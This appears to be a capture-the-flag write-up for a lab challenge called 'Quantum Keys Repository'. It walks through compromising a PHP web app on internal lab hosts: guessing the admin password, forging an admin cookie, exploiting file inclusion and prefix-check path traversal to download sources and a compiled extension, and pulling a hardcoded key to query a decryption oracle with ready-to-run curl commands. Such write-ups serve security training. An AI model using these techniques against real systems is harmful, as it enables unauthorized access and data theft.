Skip to content

Quantum Keys Repository (4 stars, Internal Systems)

Challenge

Hi Senior Researcher,

the administrator was experimenting with the Quantum Keys repository when something went spectacularly wrong. Witnesses report a brief flash, an inexplicable quantum fluctuation, and what can only be described as a quantum implosion.

The administrator was nowhere to be found. Some say he was caught in a quantum implosion; others suspect the experiment simply relocated him to a different spin location. The repository, however, survived the incident. The area has since been declared off-limits, with nobody permitted within one Heisenberg unit.

Your task is to find the right key, figure out how it works, and decrypt key documents.

Stay curious!

Last known superposition of the quantum repository was http://quantum-keys-repository.nren.tcc

Flag format: Flag{xxxx-xxxx-xxxx-xxxx}

Hints: - All services in nren.tcc domain are accessible via VPN only. - The administrator used the standard admin login. His known password policy was simple: use the login name, add at least one special character, and at least one number.

Status: SOLVED ✅

Flag: FLAG{xQsB-mGHP-PHNC-FMMN}

The story-hint foreshadows the whole solution: the admin was "relocated to a different spin location" — the decryption actually happens on a different host (coolhacker124.tcc), not on the repository server at all.

Infrastructure

  • Target: http://quantum-keys-repository.nren.tcc (10.99.26.13 / 2001:db8:7cc::26:13)
  • Server: Apache/2.4.68 (Debian), PHP 8.4.24 (mod_php), PHP Docker official image
  • DocumentRoot: /var/www/html/public
  • Decryption oracle: http://coolhacker124.tcc:5005/decrypt (discovered by reversing the PHP extension — see Step 5)

The Winning Path (5 steps)

Step 1 — Login (brute force from the password-policy hint)

Credentials: admin:admin#1234. The policy hint (login name + special char + number) made admin#1234 an early hit.

Gotcha: the login form's submit button is name="login", so the POST must include login= or the login silently fails.

RESPONSE=$(curl -s -c jar.txt "http://quantum-keys-repository.nren.tcc/")
CSRF=$(grep -oP 'name="csrf" value="\K[^"]+' <<< "$RESPONSE")

curl -s -b jar.txt -c jar.txt \
  --data-urlencode "csrf=$CSRF" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=admin#1234" \
  --data-urlencode "login=" \
  "http://quantum-keys-repository.nren.tcc/"

system.php gates the Repository section on a cookie, not the session. The login sets permissions=user; just set it to admin:

// system.php
if ($section == 'repository') {
  if ($_COOKIE['permissions'] == 'admin') { $sectionFilename = 'repository'; }
  else { http_response_code(403); exit('Access denied.'); }
}
curl -b "PHPSESSID=$SID; permissions=admin" \
  "http://quantum-keys-repository.nren.tcc/system.php?section=repository"

Step 3 — Read the source via the file manager

system.php has an LFI ($sectionFilename = $_GET['section'] overwrites the validated value, then .inc.php is appended), but the real workhorse is the Repository file manager, which does directory listing + file download. It let us pull the PHP sources and the encrypted includes:

# download = basename(file) inside dir
curl -b "$C" "$URL/system.php?section=repository&dir=/var/www/html/public&download=system.php"
curl -b "$C" "$URL/system.php?section=repository&dir=/var/www/html/includes&download=phpinfo.inc.php"
curl -b "$C" "$URL/system.php?section=repository&dir=/var/www/html/secret&download=flag.inc.php"

Every include file is just a call to a mystery function from a compiled extension:

<?php
  decrypt_payload('ARnzLEyOBzP8Nid50h3l3/wsVvkrqY90fsGXUWeMKo2J...HTn');   // flag.inc.php
File Location decrypt_payload argument (b64)
phpinfo.inc.php /var/www/html/includes/ yHs9rz…
settings.inc.php /var/www/html/includes/ dGueOo…
repository.inc.php /var/www/html/includes/ bGy6hn…
flag.inc.php /var/www/html/secret/ ARnzLE…

Including flag.inc.php via the LFI runs decrypt_payload() but prints only: SECURITY POLICY: CODE EXECUTION DISABLED — the extension blocks execution from outside /var/www/html/includes/.

Step 4 — Steal decryptor.so (prefix-preserving path traversal)

The file manager enforces its own directory whitelist, but it is a string-prefix check on the raw dir string, not a realpath() check. So a path that starts with /var/www/html but traverses out with ../ passes the check while resolving elsewhere on disk.

Key detail that burned a lot of time: from /var/www/html you need exactly three ../ to reach /. Too few and it silently falls back to listing public/.

# /var/www/html/../../../  ==  /
DIR="/var/www/html/../../../usr/local/lib/php/extensions/no-debug-non-zts-20240924"

# lists: decryptor.so, opcache.so, sodium.so
curl -s -b "$C" --get "$URL/system.php?section=repository" --data-urlencode "dir=$DIR"

# download the extension
curl -s -b "$C" --get "$URL/system.php?section=repository" \
  --data-urlencode "dir=$DIR" --data-urlencode "download=decryptor.so" -o decryptor.so
# => ELF 64-bit LSB shared object, x86-64, stripped, 14616 bytes

Step 5 — Reverse decryptor.so: it's a remote oracle

strings decryptor.so tells the whole story — no local crypto, just libcurl + zend_eval_string:

curl_easy_init / curl_easy_setopt / curl_easy_escape / curl_easy_perform
zend_eval_string
X-Operator-Key: %s
data=%s
http://coolhacker124.tcc:5005/decrypt
C7u1EVybH9YtCyphbi73yqvUndSYHkUqzkQdnbWHjkY

decrypt_payload($b64) does: 1. URL-escape the base64 ciphertext, 2. POST data=<ciphertext> to http://coolhacker124.tcc:5005/decrypt with header X-Operator-Key: C7u1EVybH9YtCyphbi73yqvUndSYHkUqzkQdnbWHjkY, 3. zend_eval_string() the returned PHP.

The SECURITY POLICY: CODE EXECUTION DISABLED check is a local gate inside the extension, applied only on the eval side when the caller file is outside /var/www/html/includes/. It does not protect the service. So we call the oracle directly.

  • "the right key" = the X-Operator-Key.
  • "figure out how it works" = it's a remote decryption API.
  • "a different spin location" = coolhacker124.tcc.

Step 6 — Decrypt the flag directly against the oracle

KEY='C7u1EVybH9YtCyphbi73yqvUndSYHkUqzkQdnbWHjkY'
FLAG_CT='ARnzLEyOBzP8Nid50h3l3/wsVvkrqY90fsGXUWeMKo2J47MxAgOVwUwAN8g9hHZMESMfRr96WcYPnoZoJrVttLYtRrDqlH2WqlzvmgiazuUoH6+1faHFt8N7L5iTKK2vuW/XUjtIScFqA9x8fAOXAZxwiz9rNBw0gIE/bXDptsHnr5fh0HTn'

curl -s -X POST "http://coolhacker124.tcc:5005/decrypt" \
  -H "X-Operator-Key: $KEY" \
  --data-urlencode "data=$FLAG_CT"

Response (the raw decrypted PHP):

echo "SECURITY POLICY: CODE EXECUTION DISABLED"; exit; $flag = "FLAG{xQsB-mGHP-PHNC-FMMN}"; echo $flag;

The exit; is placed before $flag, which is exactly why in-app decryption only ever printed the policy string — the real plaintext was always in the response, past the exit. Sanity check: the same oracle call on the phpinfo ciphertext returns phpinfo();.

Flag: FLAG{xQsB-mGHP-PHNC-FMMN}


Rabbit Holes (what did NOT work, and why)

The decryption being remote meant every local-crypto and local-file-read idea was doomed. We spent a lot of effort here before reversing the binary revealed the truth.

Crypto analysis (all a dead end — there is no local key)

  • XOR of the phpinfo ciphertext with the guessed plaintext phpinfo();exit(); yields a 16-byte value b8134dc651b67f98765750c68db26549. It looks like a repeating key because byte 16 happened to equal byte 0 (0xb8) — pure coincidence.
  • That "key" decrypts only the first ~17 bytes of phpinfo; everything past it is garbage, and it decrypts nothing of flag/settings/repository. We (correctly) concluded "per-file keystream" — but wrongly assumed a local KDF existed.
  • Tested exhaustively and all failed: MD5/SHA1/SHA256/HMAC of file paths, hostnames, passwords, the ciphertext itself; two-time-pad (XOR of ciphertext pairs); dozens of plaintext cribs for the flag/settings payloads; the "25 extra bytes" after phpinfo's plaintext as a key/MAC/nonce.
  • Why it was hopeless: the server never holds a key or algorithm. decryptor.so just forwards ciphertext to coolhacker124.tcc:5005. No amount of offline cryptanalysis could recover a key that isn't there.

Trying to read decryptor.so the hard way

Before finding the prefix-traversal trick we burned time on: - Path traversal in the download param — blocked by basename(). - php://filter / file:// / data:// wrappers in the LFI — defeated by the hardcoded /var/www/html/includes/ prefix and .inc.php suffix. - /proc/self/maps, /proc/self/mem, /proc/self/fd/* — blocked by the .inc.php suffix on the LFI. - OPcache shared-memory / file-cache dump — no file cache configured. - Direct HTTP to the extension path — 404 (outside DocumentRoot). - A first attempt at prefix traversal that used the wrong number of ../ and quietly fell back to public/, which made us briefly conclude "dirs outside webroot are denied." They are not — it's a naive string-prefix check; you just have to land on a path that both starts with /var/www/html and actually exists.

LFI exploitation attempts

  • .inc.php suffix severely limits includable files; ../ traversal works but the suffix blocks reading non-.inc.php files.
  • Null-byte truncation — fixed since PHP 8.
  • Session / log / temp file poisoning — blocked by the .inc.php suffix.
  • No auto_prepend_file / auto_append_file; dl() disabled in mod_php SAPI.
  • PEAR .inc.php includes — don't exist in this Docker image.

Security-policy bypass attempts (the local eval gate)

  • 15+ path variants (../secret/flag, templates/../../secret/flag, phpinfo/../../secret/flag, …) all hit SECURITY POLICY: CODE EXECUTION DISABLED.
  • The gate resolves the executing file's real path and requires it under /var/www/html/includes/, so no include-path trick helps. The correct move was to skip the extension entirely and talk to the oracle.

Recon that produced nothing useful

  • Only port 80 open (full nmap). DNS: only A/AAAA, no TXT. Standard Apache/PHP headers.
  • No robots.txt, favicon.ico, .well-known/security.txt; no .bak/.save/.old/.swp/.git.
  • management.inc.php referenced in the nav but does not exist.
  • Settings page always returns "Password change is unavailable in this environment" regardless of input.
  • phpinfo: disable_functions covers exec/system/etc; allow_url_fopen/include Off; file_uploads Off; no APP_KEY/ENCRYPTION_KEY env vars (there was never a local key to find).
  • Cross-challenge credentials (Kevin's LearnHowToOptimize, Karen's TOTP, etc.) tested as keys — no match.

Key Takeaways

  1. The hint was literal. "Relocated to a different spin location" = decryption moved to another host. When local analysis of a "cipher" keeps failing, suspect the logic isn't local.
  2. Reverse the binary before theorizing about the crypto. One strings decryptor.so would have shown the remote URL and operator key immediately and saved all the cryptanalysis.
  3. Whitelist checks on unresolved paths are bypassable. A prefix check (str_starts_with($dir, '/var/www/html')) is not a realpath() check — /var/www/html/../../../usr/... sails through.
  4. A local "security policy" guarding an eval does not guard the backend it calls. The oracle happily decrypted anything with the right X-Operator-Key.